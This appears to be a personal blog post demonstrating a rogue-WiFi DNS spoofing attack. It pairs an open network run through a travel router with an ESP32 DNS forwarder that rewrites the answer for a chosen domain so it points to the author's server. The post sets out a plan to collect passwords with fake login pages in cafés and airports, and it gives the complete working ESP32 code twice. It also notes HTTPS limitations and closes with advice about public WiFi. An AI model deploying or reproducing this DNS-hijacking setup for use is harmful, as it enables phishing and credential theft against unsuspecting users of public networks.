Stealing Passwords with an ESP32 and Portable Router

A dive into the DNS protocol.

First of all I want to stress that you SHOULD NOT actually do anything described in this post, as it is not only immoral, but illegal. This is only shown as a proof of concept, and to raise awareness on how easily we can get tricked into giving up sensitive information.

Background

I've been working on a lot of projects lately, a lot of which involve web servers. This has lead me to read a lot about how computers communicate with each other in an effort to find things that I could improve on within my projects. One protocol that particularily captured my attention was DNS. Not because it's inherently interesting (I wouldn't really call communication protocols interesting in the first place), but because it felt like this protocol could easily be abused to trick someone into visiting a malicious site. So, I thought it would be fun to see if I could do it

What is DNS Anyways?

DNS stands for Domain Name System. Whenever you go to a website, say [www.xaavian.com], you're not actually connecting to a server with the name "www.xaavian.com". Instead, each server (and any device connected to the internet actually) has an IP address used to identify it. It is composed of 4 numbers from 0-255, separated by dots (ex: 192.168.0.1). This is the real identifier used to connect to a server. For example, this website's IP address is 15.223.19.124, so if you were to type that in your browser, it would bring you to this site. Because it would be very confusing trying to remember the IP address for every site you want to access, we also have domain names that are linked to an IP address (ex: www.xaavian.com). Much easier to remember. But how do we know what domain names are linked with each IP address? Or what happens when we change the server we're hosting our site on? Whenever we type a domain name into our browser, we actually connect to a DNS server to ask it for the IP address mapped to that domain. It will then ask an [authoritative nameserver], and respond with the appropriate address. We can then connect to the server.

What Does This Have to do With Stealing Passwords?

So what's our plan here? The idea is to set up an open public WiFi network, and a malicious DNS server. If a user connects to the network and tries to connect to a specific site, our malicious DNS server will replace the real address of that site with the address of a fake site made to steal usernames and passwords.

The Plan

Here is how the attack could go: We could make a bunch of fake login pages of popular websites that look exactly like their real counterparts (think social media, banking sites…), and host them on our own server. Next, we go to a public location (like a coffee shop, airport, university…), and set up an open WiFi network that is configured to use our malicious DNS server. If an unsuspecting target connects to our network and tries to log into one of these sites which we've prepared a fake version of, our DNS server quietly directs them to our fake login page, which will collect their info once they enter it.

How do we make our malicious DNS server? This is where the ESP32 comes in. It's easily my favorite microcontroller. It's super cheap (~$10CAD), powerful, multi-core, but most crucially has both WiFi and Bluetooth built into it. This will act as our DNS server. Now we could also use our ESP32 to create the public network, as it is able to turn itself into an access point. However, it can only support 4 connections at once, and might not be fast enough to avoid suspicion from targets using it. Instead, I will use my TP-Link AC750 travel router. It's a cheap small router that has the convenient function of being able to act as a bridge for a password protected Wifi network. For example, imagine we were at a coffee shop that had a network called “CoffeeWifi” with the password written on a chalkboard somewhere in the store. We could use our router as a bridge to their network, and call ours something like “CoffeeWiFi-Free” and make it not require a password. If our target sees this, it's likely they'd just connect to it without a second thought.

Another reason for choosing both the ESP32 and the AC750 Travel router is how small and power efficient they are. They could be hidden in a backpack or purse, while being powered with a portable charger. This makes it extremely portable and very discrete.

The Execution

Because this is just a proof of concept, I won't go through the whole hassle of creating a fake website that steals credentials. I will just make it so typing in a specific address will quietly redirect a user to my website instead. This is the main attack vector anyways.

First we need to turn our ESP32 into a DNS server. We need to accept DNS queries, and return the correct information to the user. To make this as simple as possible, we will just forward the request to a real DNS server and then give that response to our user, only modifying it if they are asking about our specific site. We will start by connecting to our router and setting up our handlers to handle requests:

#include "WiFi.h"
#include <esp_wifi.h>
#include "AsyncUDP.h"
#include <map>

String ssid = "MaliciousWifi";
String password = "Password";

AsyncUDP clientPacket;
AsyncUDP responsePacket;

IPAddress dnsServer(8,8,8,8);
int dnsPort = 53;

struct ClientData {
    IPAddress address;
    uint16_t port;
};

std::map requestMap;

void clientHandler(AsyncUDPPacket p) {
    #TBD
}

void responseHandler(AsyncUDPPacket p) {
    #TBD
}

void setup() {

    Serial.begin(115200);

    Serial.print("Connecting to wifi\n");

    WiFi.mode(WIFI_STA);
    WiFi.begin(ssid, password);

    for (int i = 0; WiFi.status() != WL_CONNECTED; i++) {
    Serial.print('.');
    delay(1000);
    }

    Serial.print("\nConnected!\n");
    Serial.println(WiFi.localIP());
    Serial.println(WiFi.macAddress());

    if (clientPacket.listen(dnsPort)){
    Serial.print("Listening for DNS queries on port ");
    Serial.println(dnsPort);
    clientPacket.onPacket(clientHandler);
    }

    if (responsePacket.connect(dnsServer, dnsPort)) {
    Serial.print("Listening for responses from ");
    Serial.print(dnsServer);
    Serial.print("\n\n");
    responsePacket.onPacket(responseHandler);
    }

}

In the code above, we just set up a few variables such as our wifi name (Im only using a password as to not have random people connect to it), dns server and port, and defined a struct and map to store the information of who is making the requests, so that we can give the responses back to them. We then connect to the wifi and start listening for messages on our DNS port

Next, we will implement our clientHandler to handle the DNS requests coming from our victims. These requests come in the form of UDP packets. To make things clearer, we're going to print out details for the requests. How can we extract this information from these packets? We can take a look at the following diagram:

DNS packet structure DNS header structure
Diagrams borrowed from https://courses.cs.duke.edu/fall16/compsci356/DNS/DNS-primer.pdf

This is the structure of the DNS packet. Since we are just forwarding the requests and responses around, the only fields that are important to us are the Question and Answer fields. Question will contain the domain name they are asking for, while Answer will contain the IP address of it. To print our info, we can refer to the diagram and figure out how many bits until we hit the information we want. Then, we store this request in our map, and write forward this packet to our real DNS server:

void clientHandler(AsyncUDPPacket p) {

    Serial.println("Received client DNS query");

    Serial.print("Client IP: ");
    Serial.print(p.remoteIP());
    Serial.print(":");
    Serial.println(p.remotePort());

    char s[511]; // Buffer for query
    for (int i = 0; i < p.length(); i++) {
        s[i] = p.data()[i];
    }

    Serial.print("Request ID: ");
    uint16_t id = 0;
    for (int i = 0; i < 2; i++) {
        if (i == 0) {
        id = s[i];
        id <<= 8;
        } else {
        id |= s[i];
        }
    }
    Serial.println(id, HEX);

    Serial.print("Domain: ");
    String domain = "";
    for (int i = 13; p.data()[i] != 0x00; i++) {
        if (p.data()[i] <= 0x20) {
        Serial.print(".");
        domain += ".";
        } else {
        Serial.print((char)p.data()[i]); 
        domain += (char)p.data()[i];
        }
    }
    Serial.println();

    Serial.print("Raw Hex: ");
    for (int i = 0; i < p.length(); i++) {
        Serial.print(s[i], HEX);
    }
    Serial.println();

    ClientData c = {p.remoteIP(), p.remotePort()};

    requestMap[id] = c;

    Serial.print("Querying "); // Dont mind me I forgot how to efficiently concatenate strings and non-strings
    Serial.print(dnsServer);
    Serial.print(" for ");
    Serial.print(domain);
    Serial.println();
    responsePacket.writeTo(p.data(), p.length(), dnsServer, dnsPort);

    Serial.println();  
    }

Next, we implement our response handler. This is essentially the same as our clientHandler, except we read from our map to figure out who we send the response back to:

void responseHandler(AsyncUDPPacket p) {
    Serial.println("Received DNS response!");
    
    Serial.print("Source IP: ");
    Serial.println(p.remoteIP());
    
    char s[511]; // Buffer for response
    for (int i = 0; i < p.length(); i++) {
        s[i] = p.data()[i];
    }
    
    Serial.print("Request ID: ");
    uint16_t id = 0;
    for (int i = 0; i < 2; i++) {
        if (i == 0) {
        id = s[i];
        id <<= 8;
        } else {
        id |= s[i];
        }
    }
    Serial.println(id, HEX);
    
    Serial.print("Domain: ");
    String domain = "";
    for (int i = 13; p.data()[i] != 0x00; i++) {
        if (p.data()[i] <= 0x20) {
        Serial.print(".");
        domain += ".";
        } else {
        Serial.print((char)p.data()[i]); 
        domain += (char)p.data()[i];
        }
    }
    Serial.println();
    
    Serial.print("Domain IP: ");
    int f = 0;
    for (int i = p.length() - 4; i < p.length(); i++) {
        Serial.print(s[i], DEC);
        if (f != 3) {
        Serial.print(".");
        }
        f++;
    }
    Serial.println();
    
    Serial.print("Raw Hex: ");
    for (int i = 0; i < p.length(); i++) {
        Serial.print(s[i], HEX);
    }
    Serial.println();
    
    Serial.print("Relaying response back to ");\
    Serial.print(requestMap[id].address);
    Serial.print(":");
    Serial.println(requestMap[id].port);
    
    clientPacket.writeTo(p.data(), p.length(), requestMap[id].address, requestMap[id].port);
    requestMap.erase(id);
    
    Serial.println();
    }

The last part we have to code is modifying the response to my website if the client is asking for the address of a specific domain we are targeting. DNS requests can actually contain several questions and answers, so for this example I tried finding a domain that only replies with one answer. Turns out www.jesus.com does, so we will go with that for the test. We add this before returning the response to our client, and flash everything to our ESP32:

if (domain == "www.jesus.com") {

    Serial.println("Domain Matched! Modifying response");

    int i = p.length(); 
    p.data()[i-4] = 0x0f; //The IP address of our server
    p.data()[i-3] = 0xdf;
    p.data()[i-2] = 0x13;
    p.data()[i-1] = 0x7c;

    Serial.print("New IP: ");
    int f = 0;
    for (int i = p.length() - 4; i < p.length(); i++) {
        Serial.print(p.data()[i], DEC);
        if (f != 3) {
        Serial.print(".");
        }
        f++;
    }
    Serial.println();
    
    }

Now, we have to configure the router to use the ESP32 as its DNS server. All that I have to to is go into its settings and enter the ESP32's IP address.

Finally, because I want to redirect to my website, I have to edit some configurations on the server so it knows what to do when someone connects to it. I use Apache2 for my website, so I go into its config and add the following:

<VirtualHost *:80>
        ServerName www.jesus.com
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/www
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Now we are ready to test!

Results

I connect to the wifi with my phone, and manually type in "www.jesus.com" into my search bar. This is what I get:

Success
Success!

It redirected us successfully! The search bar at the bottom clearly shows www.jesus.com, but brought us to my website. Pretty cool!

Limitations

While above looks pretty good, there are some severe limitations to this type of attack. One, in our screenshot we can see that to the left of the domain theres a lock with a red cross going through it. This is because we are connecting to the site via HTTP, as opposed to HTTPS. HTTP is insecure, and nowadays virtually every website uses HTTPS which encrypts your data and is secure. if you dont type the full domain into the browser, and either type in just "jesus.com" or try to access via a link from google, the browser tries to connect to the HTTPS version automatically and we get this:

Uh Oh
Uh Oh...

They caught us! We are in fact trying to steal your password in this case. You can always click on "Advanced" and then "Continue at my own risk", but I doubt that a random person trying to log into facebook would do that.

Another big limitation is that this wouldn't work if someone was using an app. It's 2025, I don't think many people use desktop versions of their social media or banking apps.

Conclusion

We were able to show that with an ESP32, and portable router, some social engineering, and a bit of luck, we could trick someone into entering their sensitive information into our server. This is pretty limited in scope, but using some creativity, its definitely a plausible attack vector. Imagine you are at a restaurant with those QR code menus. Someone could make a fake wifi network for you to connect to, and when you scan the code it brings you to a page saying something like "Rate us 5 stars on Google and get a free apetizer!", with a link to our fake facebook page asking them to log in. That's a lot of work for little payoff, but its possible to do!

Moral of the story: Be cautious when using public wifi, and listen to your browser if it says something is wrong.

Full Code

#include "WiFi.h"
#include 
#include "AsyncUDP.h"
#include 

String ssid = "MaliciousWifi";
String password = "Password";

AsyncUDP clientPacket;
AsyncUDP responsePacket;

IPAddress dnsServer(8,8,8,8);
int dnsPort = 53;

struct ClientData {
    IPAddress address;
    uint16_t port;
};

std::map requestMap;

void clientHandler(AsyncUDPPacket p) {
    
    Serial.println("Received client DNS query");

    Serial.print("Client IP: ");
    Serial.print(p.remoteIP());
    Serial.print(":");
    Serial.println(p.remotePort());
    
    char s[511]; // Buffer for query
    for (int i = 0; i < p.length(); i++) {
    s[i] = p.data()[i];
    }

    Serial.print("Request ID: ");
    uint16_t id = 0;
    for (int i = 0; i < 2; i++) {
    if (i == 0) {
        id = s[i];
        id <<= 8;
    } else {
        id |= s[i];
    }
    }
    Serial.println(id, HEX);
    
    Serial.print("Domain: ");
    String domain = "";
    for (int i = 13; p.data()[i] != 0x00; i++) {
    if (p.data()[i] <= 0x20) {
        Serial.print(".");
        domain += ".";
    } else {
        Serial.print((char)p.data()[i]); 
        domain += (char)p.data()[i];
    }
    }
    Serial.println();

    Serial.print("Raw Hex: ");
    for (int i = 0; i < p.length(); i++) {
    Serial.print(s[i], HEX);
    }
    Serial.println();

    ClientData c = {p.remoteIP(), p.remotePort()};

    requestMap[id] = c;

    Serial.print("Querying "); // Dont mind me I forgot how to efficiently concatenate strings and non-strings
    Serial.print(dnsServer);
    Serial.print(" for ");
    Serial.print(domain);
    Serial.println();
    responsePacket.writeTo(p.data(), p.length(), dnsServer, dnsPort);

    Serial.println();  
}

void responseHandler(AsyncUDPPacket p) {
    Serial.println("Received DNS response!");

    Serial.print("Source IP: ");
    Serial.println(p.remoteIP());
    
    char s[511]; // Buffer for response
    for (int i = 0; i < p.length(); i++) {
    s[i] = p.data()[i];
    }

    Serial.print("Request ID: ");
    uint16_t id = 0;
    for (int i = 0; i < 2; i++) {
    if (i == 0) {
        id = s[i];
        id <<= 8;
    } else {
        id |= s[i];
    }
    }
    Serial.println(id, HEX);

    Serial.print("Domain: ");
    String domain = "";
    for (int i = 13; p.data()[i] != 0x00; i++) {
    if (p.data()[i] <= 0x20) {
        Serial.print(".");
        domain += ".";
    } else {
        Serial.print((char)p.data()[i]); 
        domain += (char)p.data()[i];
    }
    }
    Serial.println();

    Serial.print("Domain IP: ");
    int f = 0;
    for (int i = p.length() - 4; i < p.length(); i++) {
    Serial.print(s[i], DEC);
    if (f != 3) {
        Serial.print(".");
    }
    f++;
    }
    Serial.println();

    Serial.print("Raw Hex: ");
    for (int i = 0; i < p.length(); i++) {
    Serial.print(s[i], HEX);
    }
    Serial.println();

    if (domain == "www.jesus.com") {

    Serial.println("Domain Matched! Modifying response");

    int i = p.length(); 
    p.data()[i-4] = 0x0f; //The IP address of our server
    p.data()[i-3] = 0xdf;
    p.data()[i-2] = 0x13;
    p.data()[i-1] = 0x7c;

    Serial.print("New IP: ");
    int f = 0;
    for (int i = p.length() - 4; i < p.length(); i++) {
        Serial.print(p.data()[i], DEC);
        if (f != 3) {
        Serial.print(".");
        }
        f++;
    }
    Serial.println();
    
    }

    Serial.print("Relaying response back to ");\
    Serial.print(requestMap[id].address);
    Serial.print(":");
    Serial.println(requestMap[id].port);

    clientPacket.writeTo(p.data(), p.length(), requestMap[id].address, requestMap[id].port);
    requestMap.erase(id);

    Serial.println();
}

void setup() {

    Serial.begin(115200);

    Serial.print("Connecting to wifi\n");

    WiFi.mode(WIFI_STA);
    WiFi.begin(ssid, password);

    for (int i = 0; WiFi.status() != WL_CONNECTED; i++) {
    Serial.print('.');
    delay(1000);
    }

    Serial.print("\nConnected!\n");
    Serial.println(WiFi.localIP());
    Serial.println(WiFi.macAddress());

    if (clientPacket.listen(dnsPort)){
    Serial.print("Listening for DNS queries on port ");
    Serial.println(dnsPort);
    clientPacket.onPacket(clientHandler);
    }

    if (responsePacket.connect(dnsServer, dnsPort)) {
    Serial.print("Listening for responses from ");
    Serial.print(dnsServer);
    Serial.print("\n\n");
    responsePacket.onPacket(responseHandler);
    }

}

void loop() {
}